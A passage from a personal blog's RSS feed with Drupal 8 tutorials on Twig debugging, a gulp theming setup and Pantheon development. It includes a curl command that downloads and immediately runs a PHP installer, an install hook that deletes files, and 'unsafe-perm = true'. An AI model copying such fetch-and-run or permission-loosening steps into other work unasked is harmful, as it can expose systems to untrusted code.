&lt;p&gt;Make sure it&apos;s uncommented. This tells Drupal to recognise the development services configuration. If you can&apos;t find it, add it in there. The &lt;code&gt;development.services.yml&lt;/code&gt; file comes by default and should be in your &lt;em&gt;sites&lt;/em&gt; folder, you shouldn&apos;t have to create it.&lt;/p&gt;
&lt;p&gt;The default &lt;code&gt;development.services.yml&lt;/code&gt; file looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# Local development services.
#
# To activate this feature, follow the instructions at the top of the
# &apos;example.settings.local.php&apos; file, which sits next to this file.
parameters:
  http.response.debug_cacheability_headers: true
services:
  cache.backend.null:
    class: Drupal\Core\Cache\NullBackendFactory
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You need to add some twig configuration to the parameters block like so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# Local development services.
#
# To activate this feature, follow the instructions at the top of the
# &apos;example.settings.local.php&apos; file, which sits next to this file.
parameters:
  http.response.debug_cacheability_headers: true
  twig.config:
    debug: true
    auto-reload: true
    cache: false
services:
  cache.backend.null:
    class: Drupal\Core\Cache\NullBackendFactory
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This has activated twig debug mode, which means that if you check DevTools, there will be a bunch of comments that tell you which template is loaded as well as the file name suggestions you can use. This is pretty helpful for when you realise you need to add or change classes during the course of developing your theme.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/d8-theming/twigdebug-640.jpg&quot;
  srcset=&quot;/images/posts/d8-theming/twigdebug-480.jpg 480w, /images/posts/d8-theming/twigdebug-640.jpg 640w, /images/posts/d8-theming/twigdebug-960.jpg 960w, /images/posts/d8-theming/twigdebug-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Twig debugging&quot;
/&gt;&lt;/p&gt;
&lt;h2&gt;Now you can start CSS-ing&lt;/h2&gt;
&lt;p&gt;Like I mentioned before, those of you who write plain vanilla CSS are free to start theming away. If you happen to use a workflow that involves Sass and gulp, I cover that bit on my updated &lt;a href=&quot;/blog/drupal-101-theming-with-gulp-again/&quot;&gt;theming Drupal with gulp post&lt;/a&gt;. Oh, and don&apos;t forget to take a screenshot of your theme, name it &lt;code&gt;screenshot.png&lt;/code&gt; and place it in the root of your theme folder. Just makes things look nicer. Happy Drupal-ing!&lt;/p&gt;
</content:encoded></item><item><title>Drupal 101: Theming Drupal 8 with gulp</title><link>https://chenhuijing.com/blog/drupal-101-theming-with-gulp-again/</link><guid isPermaLink="true">https://chenhuijing.com/blog/drupal-101-theming-with-gulp-again/</guid><description>If you write a lot of custom Drupal themes, gulp can really help streamline your workflow. Every second saved counts.</description><pubDate>Tue, 01 Aug 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Around two years ago, I wrote a post called &lt;a href=&quot;/blog/drupal-101-theming-with-gulp/&quot;&gt;Drupal 101: Theming Drupal 7 with gulp&lt;/a&gt;, which covered some basics about Sass and gulp. I&apos;m not going to repeat myself, so if you can read that article if you&apos;re interested. This one is going to cover the delta for the &lt;code&gt;gulpfile.js&lt;/code&gt; setup in Drupal 8.&lt;/p&gt;
&lt;h2&gt;gulp-ify your Drupal theme&lt;/h2&gt;
&lt;p&gt;If you&apos;re just starting out with Drupal 8 theming, you can read my previous post on exactly that &lt;a href=&quot;/blog/drupal-101-d8-theming/&quot;&gt;right here&lt;/a&gt;. I&apos;m going to cover the gulp tasks that are relevant to my way of working, which is a whole lot less than what most other people do with gulp.&lt;/p&gt;
&lt;p&gt;I only use gulp to compile Sass, handle ES6 and clear the cache when I update Twig templates. No minification because Drupal does that already.&lt;/p&gt;
&lt;h3&gt;Setting up the package.json file&lt;/h3&gt;
&lt;p&gt;This part is completely replicated from the Drupal 7 post. Screenshots are tedious, so just replace all instances of &lt;em&gt;Drupal 7&lt;/em&gt; in the screenshots with &lt;em&gt;Drupal 8&lt;/em&gt; in your mind, thanks.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;Navigate to the root of your Theme folder and initiate a new node project.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm init
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will trigger a series of prompts for the generation of a &lt;code&gt;package.json&lt;/code&gt; file. This file will store all the information about the required node packages for your project.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/drupal-gulp/npm-init-640.jpg&quot;
  srcset=&quot;/images/posts/drupal-gulp/npm-init-480.jpg 480w, /images/posts/drupal-gulp/npm-init-640.jpg 640w, /images/posts/drupal-gulp/npm-init-960.jpg 960w, /images/posts/drupal-gulp/npm-init-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;npm init&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;Most of the prompts are pretty intuitive, and if you leave any of the fields blank, default values will be used. You can always change those values later. Set the entry point to &lt;code&gt;gulpfile.js&lt;/code&gt; , and add information like the git repository if you wish.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/drupal-gulp/package-json-640.jpg&quot;
  srcset=&quot;/images/posts/drupal-gulp/package-json-480.jpg 480w, /images/posts/drupal-gulp/package-json-640.jpg 640w, /images/posts/drupal-gulp/package-json-960.jpg 960w, /images/posts/drupal-gulp/package-json-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;package.json file&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;exclamation mark&quot;&gt;❗&lt;/span&gt; &lt;strong&gt;Important: Preventing segmentation fault&lt;/strong&gt;&lt;br&gt;
To prevent triggering a segmentation fault when running Drush, we need to add a script to the &lt;code&gt;package.json&lt;/code&gt; file that will remove all &lt;code&gt;.info&lt;/code&gt; files from the &lt;code&gt;node_modules&lt;/code&gt; folder. Each node package has it&apos;s own &lt;code&gt;.info&lt;/code&gt; file and it turns out that Drush thinks that they are all part of Drupal. Unfortunately, they are not in a format that Drush recognises and hence everything blows up badly. The &lt;code&gt;.info&lt;/code&gt; files are not necessary for gulp to run properly so it&apos;s safe to remove them.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  If you had generated your &lt;code&gt;package.json&lt;/code&gt; file by using &lt;code&gt;npm init&lt;/code&gt; , locate
  the section called &lt;code&gt;&quot;scripts&quot;:&lt;/code&gt; , and replace the line:
&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;quot;test&amp;quot;: &amp;quot;echo \&amp;quot;Error: no test specified\&amp;quot; &amp;amp;&amp;amp; exit 1&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;with this line instead:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;&amp;quot;postinstall&amp;quot;: &amp;quot;find node_modules/ -name &apos;*.info&apos; -type f -delete&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;
  Also, create a file called &lt;code&gt;.npmrc&lt;/code&gt; in the root of your theme folder with the following
  contents:
&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;unsafe-perm = true
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;References to this issue:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;http://drupal.stackexchange.com/questions/126880/how-do-i-prevent-drupal-raising-a-segmentation-fault-when-using-a-node-js-themin&quot;&gt;How do I prevent Drupal raising a segmentation fault when using a Node.js theming workflow?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://dannyenglander.com/blog/drupal-drush-segmentation-fault-11-error-avoiding-rabbit-hole&quot;&gt;Drupal Drush Segmentation Fault 11 Error: Avoiding the Rabbit Hole&lt;/a&gt; &lt;em&gt;(This one’s a good read)&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Plugins used&lt;/h3&gt;
&lt;p class=&quot;no-margin&quot;&gt;Here&apos;s the list of plug-ins needed and what they will be used for:&lt;/p&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.npmjs.com/package/gulp&quot;&gt;gulp&lt;/a&gt; - Still have to install gulp locally&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.npmjs.com/package/gulp-sass&quot;&gt;gulp-sass&lt;/a&gt; - To compile Sass into CSS&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.npmjs.com/package/gulp-autoprefixer&quot;&gt;gulp-autoprefixer&lt;/a&gt; - To add vendor-prefixes based on the latest specifications&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.npmjs.com/package/browser-sync&quot;&gt;browser-sync&lt;/a&gt; - To live-reload the browser&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.npmjs.com/package/gulp-concat&quot;&gt;gulp-concat&lt;/a&gt; - To concatenate all your different JavaScript files into one big one&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.npmjs.com/package/gulp-babel&quot;&gt;gulp-babel&lt;/a&gt; - To write ES6 and transpile it so browsers can understand what you&apos;re writing&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.npmjs.com/package/babel-preset-es2015&quot;&gt;babel-preset-es2015&lt;/a&gt; - Part of gulp-babel, but has to be installed as well&lt;/li&gt;
&lt;/ul&gt;
&lt;p class=&quot;no-margin&quot;&gt;This is what the final &lt;code&gt;package.json&lt;/code&gt; looks like:&lt;/p&gt;
```js
{
  &quot;name&quot;: &quot;drupal-8-starter&quot;,
  &quot;version&quot;: &quot;1.0.0&quot;,
  &quot;description&quot;: &quot;gulp workflow for Drupal 8 theming&quot;,
  &quot;main&quot;: &quot;gulpfile.js&quot;,
  &quot;devDependencies&quot;: {
    &quot;babel-preset-es2015&quot;: &quot;^6.24.1&quot;,
    &quot;browser-sync&quot;: &quot;^2.18.13&quot;,
    &quot;gulp&quot;: &quot;^3.9.1&quot;,
    &quot;gulp-autoprefixer&quot;: &quot;^4.0.0&quot;,
    &quot;gulp-concat&quot;: &quot;^2.6.1&quot;,
    &quot;gulp-babel&quot;: &quot;^6.1.2&quot;,
    &quot;gulp-sass&quot;: &quot;^3.1.0&quot;
  },
  &quot;scripts&quot;: {
    &quot;postinstall&quot;: &quot;find node_modules/ -name &apos;*.info&apos; -type f -delete&quot;
  },
  &quot;author&quot;: &quot;huijing &lt;1461498+huijing@users.noreply.github.com&gt;&quot;,
  &quot;license&quot;: &quot;ISC&quot;
}
```
&lt;h3&gt;gulpfile.js setup&lt;/h3&gt;
&lt;p&gt;The Drupal 7 post goes into a lot more detail on creating tasks and what each of the tasks does, and installing stuff, and if that&apos;s what you need, &lt;a href=&quot;/blog/drupal-101-theming-with-gulp/&quot;&gt;head on over there&lt;/a&gt;. This is simply the updated &lt;code&gt;gulpfile.js&lt;/code&gt; for Drupal 8.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;var gulp        = require(&apos;gulp&apos;),
    browserSync = require(&apos;browser-sync&apos;),
    sass        = require(&apos;gulp-sass&apos;),
    prefix      = require(&apos;gulp-autoprefixer&apos;),
    concat      = require(&apos;gulp-concat&apos;),
    babel       = require(&apos;gulp-babel&apos;),
    cp          = require(&apos;child_process&apos;);&amp;amp;NewLine;
/**
 &amp;amp;ast; Launch the Server
 */
gulp.task(&apos;browser-sync&apos;, [&apos;sass&apos;, &apos;scripts&apos;], function() {
  browserSync.init({
    // Change as required, also remember to set in theme settings
    proxy: &amp;quot;HOSTNAME.dev&amp;quot;,
    port: 3000
  });
});&amp;amp;NewLine;
/**
 &amp;amp;ast; @task sass
 &amp;amp;ast; Compile files from scss
 */
gulp.task(&apos;sass&apos;, function () {
  return gulp.src(&apos;_scss/styles.scss&apos;)
  .pipe(sass())
  .pipe(prefix([&apos;last 3 versions&apos;, &apos;&amp;gt; 1%&apos;, &apos;ie 8&apos;], { cascade: true }))
  .pipe(gulp.dest(&apos;css&apos;))
  .pipe(browserSync.reload({stream:true}))
});&amp;amp;NewLine;
/**
 &amp;amp;ast; @task scripts
 &amp;amp;ast; Compile files from js
 */
gulp.task(&apos;scripts&apos;, function() {
  return gulp.src([&apos;_js/*.js&apos;, &apos;_js/custom.js&apos;])
  .pipe(babel({
    presets: [&apos;es2015&apos;]
  }))
  .pipe(concat(&apos;scripts.js&apos;))
  .pipe(gulp.dest(&apos;js&apos;))
  .pipe(browserSync.reload({stream:true}))
});&amp;amp;NewLine;
/**
 &amp;amp;ast; @task clearcache
 &amp;amp;ast; Clear all caches
 */
gulp.task(&apos;clearcache&apos;, function(done) {
  return cp.spawn(&apos;drush&apos;, [&apos;cache-rebuild&apos;], {stdio: &apos;inherit&apos;})
  .on(&apos;close&apos;, done);
});&amp;amp;NewLine;
/**
 &amp;amp;ast; @task reload
 &amp;amp;ast; Refresh the page after clearing cache
 */
gulp.task(&apos;reload&apos;, [&apos;clearcache&apos;], function () {
  browserSync.reload();
});&amp;amp;NewLine;
/**
 &amp;amp;ast; @task watch
 &amp;amp;ast; Watch scss files for changes &amp;amp; recompile
 &amp;amp;ast; Clear cache when Drupal related files are changed
 */
gulp.task(&apos;watch&apos;, function () {
  gulp.watch([&apos;_scss/*.scss&apos;, &apos;_scss/**/*.scss&apos;], [&apos;sass&apos;]);
  gulp.watch([&apos;_js/*.js&apos;], [&apos;scripts&apos;]);
  gulp.watch([&apos;templates/*.html.twig&apos;, &apos;**/*.yml&apos;], [&apos;reload&apos;]);
});&amp;amp;NewLine;
/**
 &amp;amp;ast; Default task, running just `gulp` will
 &amp;amp;ast; compile Sass files, launch BrowserSync, watch files.
 */
gulp.task(&apos;default&apos;, [&apos;browser-sync&apos;, &apos;watch&apos;]);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Wrap-up&lt;/h2&gt;
&lt;p&gt;Porting an existing project up a version number is always a bit of a chore, but it always feels good when it&apos;s done. Dear future self, one day you&apos;ll look back at this post and be thankful you wrote it, because you almost never remember anything unless you error out big time. You&apos;re welcome.&lt;/p&gt;
</content:encoded></item><item><title>Drupal 101: Developing with Pantheon</title><link>https://chenhuijing.com/blog/drupal-101-developing-with-pantheon/</link><guid isPermaLink="true">https://chenhuijing.com/blog/drupal-101-developing-with-pantheon/</guid><description>Pantheon is a website management platform that is known for specialised Drupal and Wordpress services. It offers various tiers of service depending on your…</description><pubDate>Sun, 30 Jul 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://pantheon.io/&quot;&gt;Pantheon&lt;/a&gt; is a website management platform that is known for specialised Drupal and Wordpress services. It offers various tiers of service depending on your particular use-case. Developers can utilise a free account for all the necessary development work and charges will only kick in after deploying to production.&lt;/p&gt;
&lt;p&gt;While it is possible to do your development work entirely on your local machine then migrating the site to Pantheon, there are some slight configuration differences between hosting on Pantheon versus your own bare-metal server. I found it easier to just start off the process on Pantheon to begin with.&lt;/p&gt;
&lt;h2&gt;All the basic stuff&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Sign up for a Pantheon account.
&lt;img
  src=&quot;/images/posts/pantheon/register-640.jpg&quot;
  srcset=&quot;/images/posts/pantheon/register-480.jpg 480w, /images/posts/pantheon/register-640.jpg 640w, /images/posts/pantheon/register-960.jpg 960w, /images/posts/pantheon/register-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Register page on Pantheon&quot;
/&gt;&lt;/li&gt;
&lt;li&gt;This is how the dashboard looks like.
&lt;img
  src=&quot;/images/posts/pantheon/dashboard-640.jpg&quot;
  srcset=&quot;/images/posts/pantheon/dashboard-480.jpg 480w, /images/posts/pantheon/dashboard-640.jpg 640w, /images/posts/pantheon/dashboard-960.jpg 960w, /images/posts/pantheon/dashboard-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Dashboard page on Pantheon&quot;
/&gt;&lt;/li&gt;
&lt;li&gt;To make life easier, I strongly advise setting up your SSH keys. Click on the &lt;em&gt;Account&lt;/em&gt; tab and on the left navigation panel, you&apos;ll see &lt;em&gt;SSH Keys&lt;/em&gt;. If you don&apos;t know how to generate SSH keys, there&apos;s &lt;a href=&quot;https://pantheon.io/docs/ssh-keys/&quot;&gt;documentation available&lt;/a&gt; for that complete with screenshots.
&lt;img
  src=&quot;/images/posts/pantheon/ssh-640.jpg&quot;
  srcset=&quot;/images/posts/pantheon/ssh-480.jpg 480w, /images/posts/pantheon/ssh-640.jpg 640w, /images/posts/pantheon/ssh-960.jpg 960w, /images/posts/pantheon/ssh-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Add SSH keys to account&quot;
/&gt;&lt;/li&gt;
&lt;li&gt;Once that&apos;s done, you can go back to the &lt;em&gt;Sites&lt;/em&gt; tab to create a new site. Enter the name of your site. Whatever you enter will end up being in the the URL. Custom domains are a possibility, but that&apos;s under the deploy-to-production, needs-to-be-paid-for part of things.
&lt;img
  src=&quot;/images/posts/pantheon/create-640.jpg&quot;
  srcset=&quot;/images/posts/pantheon/create-480.jpg 480w, /images/posts/pantheon/create-640.jpg 640w, /images/posts/pantheon/create-960.jpg 960w, /images/posts/pantheon/create-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Create new site on Pantheon&quot;
/&gt;&lt;/li&gt;
&lt;li&gt;Once your shiny new site is up, there&apos;ll be a site dashboard available to you. For the sake of this example, my site&apos;s name is &lt;em&gt;sinvict&lt;/em&gt;. To set up the new site&apos;s database, click on the &lt;em&gt;Visit Development Site&lt;/em&gt; link and a new window will pop up with the Drupal new site set up page.
&lt;img
  src=&quot;/images/posts/pantheon/sitedash-640.jpg&quot;
  srcset=&quot;/images/posts/pantheon/sitedash-480.jpg 480w, /images/posts/pantheon/sitedash-640.jpg 640w, /images/posts/pantheon/sitedash-960.jpg 960w, /images/posts/pantheon/sitedash-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Set up Drupal database&quot;
/&gt;&lt;/li&gt;
&lt;li&gt;After you&apos;ve gone through the initial setup, there will be a new commit on your site dashboard, which is for the updated &lt;code&gt;settings.php&lt;/code&gt; file on the server itself.
&lt;img
  src=&quot;/images/posts/pantheon/dbsetup-640.jpg&quot;
  srcset=&quot;/images/posts/pantheon/dbsetup-480.jpg 480w, /images/posts/pantheon/dbsetup-640.jpg 640w, /images/posts/pantheon/dbsetup-960.jpg 960w, /images/posts/pantheon/dbsetup-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Set up Drupal database&quot;
/&gt;&lt;/li&gt;
&lt;li&gt;**Optional step** If like me, you like to use the command line for most things, you can install &lt;strong&gt;Terminus&lt;/strong&gt;, Pantheon&apos;s CLI, using the following command:&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;$ curl -O https://raw.githubusercontent.com/pantheon-systems/terminus-installer/master/builds/installer.phar &amp;amp;&amp;amp; php installer.phar install
&lt;/code&gt;&lt;/pre&gt;
or if you use &lt;a href=&quot;https://fishshell.com/&quot;&gt;fish&lt;/a&gt;:&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;$ curl -O https://raw.githubusercontent.com/pantheon-systems/terminus-installer/master/builds/installer.phar; and php installer.phar install
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Local development setup&lt;/h2&gt;
&lt;p&gt;Pantheon has provided some documentation on &lt;a href=&quot;https://pantheon.io/docs/local-development/&quot;&gt;how to get started with local development&lt;/a&gt;, but there are some bits that I had to figure out myself. Regardless, the documentation is good, so do read it first. The following are my exact steps for doing it.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;For local development, switch connection mode to Git.
&lt;img
  src=&quot;/images/posts/pantheon/gitmode-640.jpg&quot;
  srcset=&quot;/images/posts/pantheon/gitmode-480.jpg 480w, /images/posts/pantheon/gitmode-640.jpg 640w, /images/posts/pantheon/gitmode-960.jpg 960w, /images/posts/pantheon/gitmode-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Switch connection mode&quot;
/&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Clone your site into wherever you do site development.
&lt;img
  src=&quot;/images/posts/pantheon/clone-640.jpg&quot;
  srcset=&quot;/images/posts/pantheon/clone-480.jpg 480w, /images/posts/pantheon/clone-640.jpg 640w, /images/posts/pantheon/clone-960.jpg 960w, /images/posts/pantheon/clone-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Clone site to local machine&quot;
/&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Download a copy of the database. It will be compressed, so depending on your OS, unzip it, then import it into your local environment using your SQL client of choice.&lt;/p&gt;
&lt;p&gt;&lt;img
  src=&quot;/images/posts/pantheon/exportdb-640.jpg&quot;
  srcset=&quot;/images/posts/pantheon/exportdb-480.jpg 480w, /images/posts/pantheon/exportdb-640.jpg 640w, /images/posts/pantheon/exportdb-960.jpg 960w, /images/posts/pantheon/exportdb-1280.jpg 1280w&quot;
  sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot;
  alt=&quot;Export database&quot;
/&gt;&lt;/p&gt;
&lt;p&gt;I usually use drush for this (also, my shell is fish):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;eval (drush sql-connect) &amp;lt; /Users/huijing/Desktop/sinvict_dev_2017-07-30T04-45-31_UTC_database.sql
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Make a copy of the &lt;code&gt;example.settings.local.php&lt;/code&gt; file, which can be found in the &lt;em&gt;sites&lt;/em&gt; folder, and put it in the &lt;em&gt;default&lt;/em&gt; folder. Your database configuration should be set up in here. Add it to the bottom of the file. Refer to the &lt;a href=&quot;https://pantheon.io/docs/settings-php/&quot;&gt;documentation for configuring settings.php&lt;/a&gt; from Pantheon for further clarification.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// Local development configuration.
if (!defined(&apos;PANTHEON_ENVIRONMENT&apos;)) {
  // Database.
  $databases[&apos;default&apos;][&apos;default&apos;] = array(
    &apos;database&apos; =&amp;gt; &apos;DATABASE&apos;,
    &apos;username&apos; =&amp;gt; &apos;USERNAME&apos;,
    &apos;password&apos; =&amp;gt; &apos;PASSWORD&apos;,
    &apos;host&apos; =&amp;gt; &apos;localhost&apos;,
    &apos;driver&apos; =&amp;gt; &apos;mysql&apos;,
    &apos;port&apos; =&amp;gt; 3306,
    &apos;prefix&apos; =&amp;gt; &apos;&apos;,
  );
}
$settings[&apos;hash_salt&apos;] = &apos;$HASH_SALT&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If your status report keeps telling you your configuration files are not protected, make sure the following line in the &lt;code&gt;settings.local.php&lt;/code&gt; file gets commented out (&lt;a href=&quot;https://www.drupal.org/node/2817791&quot;&gt;explanation here&lt;/a&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$settings[&apos;skip_permissions_hardening&apos;] = TRUE;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;One of my pet peeves is having any warnings or errors in the &lt;em&gt;Status Report&lt;/em&gt; even though it&apos;s just a local development environment and usually after this initial setup, you may get warnings with regards to trusted host settings and that the &lt;em&gt;sites/default/config&lt;/em&gt; folder is not writable.
I resolved them by adding these lines to the &lt;code&gt;settings.local.php&lt;/code&gt; file, but your mileage may vary depending on what your local development setup is like.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$config_directories[&apos;sync&apos;] = &apos;sites/default/config&apos;;
$settings[&apos;trusted_host_patterns&apos;] = array(
&apos;^sinvict\.dev$&apos;,
);
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Committing changes to the repository&lt;/h2&gt;
&lt;p&gt;Unfortunately, in order to have multiple development branches, you&apos;ll have to pay for a proper business account. I don&apos;t really want to pay at this point, so I&apos;m going to commit the sin of committing straight on the master branch. Circumstances, my friends.&lt;/p&gt;
&lt;p&gt;My method involves drush, because I am an avid command-line lover. First off, download the drush aliases from your dashboard and place the file (&lt;em&gt;pantheon.aliases.drushrc.php&lt;/em&gt;) in your &lt;em&gt;.drush&lt;/em&gt; folder or the &lt;em&gt;aliases&lt;/em&gt; folder of your local drush installation.&lt;/p&gt;
&lt;p&gt;To check that things are working run the following:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush sa
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You should see something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;@none
@pantheon
@pantheon.sinvict.dev
@pantheon.sinvict.live
@pantheon.sinvict.test
@self
default
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With this, you can run drush commands on your Pantheon development server from the terminal on your local machine. Say you installed and enabled a module, and would like to deploy this change upstairs. Commit the module and push it up to Pantheon as you would any other server.&lt;/p&gt;
&lt;p&gt;Then, run the following drush command to enable it upstairs:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush @pantheon.sinvict.dev en MODULENAME -y
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Quirky things&lt;/h2&gt;
&lt;p&gt;This is probably just me, but on Firefox with uBlock Origin enabled, the dashboard couldn&apos;t load for me. If that happens to be your situation, maybe try disabling uBlock Origin?&lt;/p&gt;
&lt;p&gt;If I find any more quirky behaviour, this section will be updated, but I sincerely hope not.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;That&apos;s pretty much it. If you didn&apos;t see through me, this is actually my personal documentation for setting up to develop sites on Pantheon, so I&apos;m sorry if you don&apos;t find it useful. No hard feelings? &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face blowing a kiss&quot;&gt;😘&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>The one about an app</title><link>https://chenhuijing.com/blog/the-one-about-an-app/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-one-about-an-app/</guid><description>It&apos;s finally happened. I did a proper JavaScript thing. Now before you start to judge me, let me clarify that although I&apos;ve never written a JavaScript post…</description><pubDate>Thu, 13 Jul 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;It&apos;s finally happened. I did a proper JavaScript thing. Now before you start to judge me, let me clarify that although I&apos;ve never written a JavaScript post ever, it&apos;s not like I don&apos;t know how to use it, okay? Sure I started out with jQuery back in 2015, big whoop, almost everybody I know has used jQuery at some point in their careers &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;mad face&quot;&gt;😤&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;In fact, my superficial need for external validation made me so self-concious about using jQuery in 2015 that I soon treated &lt;a href=&quot;https://twitter.com/raynicholus&quot;&gt;Ray Nicholus&apos;s&lt;/a&gt; &lt;a href=&quot;https://blog.garstasio.com/you-dont-need-jquery/&quot;&gt;You Don&apos;t Need jQuery!&lt;/a&gt; like some holy reference for a while until I weaned myself off jQuery.&lt;/p&gt;
&lt;p&gt;But that&apos;s beside the point. Up till now, I&apos;ve always been doing client-side JavaScript. I&apos;d partner up with a “JavaScript person” who would handle the middleware-side of things, and write the nice APIs I would consume and be on my merry way. I&apos;m pretty much known for my inordinate love of all things CSS, because I took to it like a duck to water &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;duck&quot;&gt;🦆&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Learning JavaScript was like being a duck trying to fly. Zoology lesson: ducks can fly! It&apos;s just that they&apos;re not optimised for flying at will. &lt;a href=&quot;http://birdsflight.com/can-ducks-fly-do-ducks-fly-flying-ducks/&quot;&gt;But on the whole, it is obvious that ducks can fly and may even take wing at a fast pace of about 50 miles per hour&lt;/a&gt;. So after a couple years, I felt it was time to stand on my own two feet and figure out how this middleware-server-api-routing stuff worked.&lt;/p&gt;
&lt;h2&gt;The use case&lt;/h2&gt;
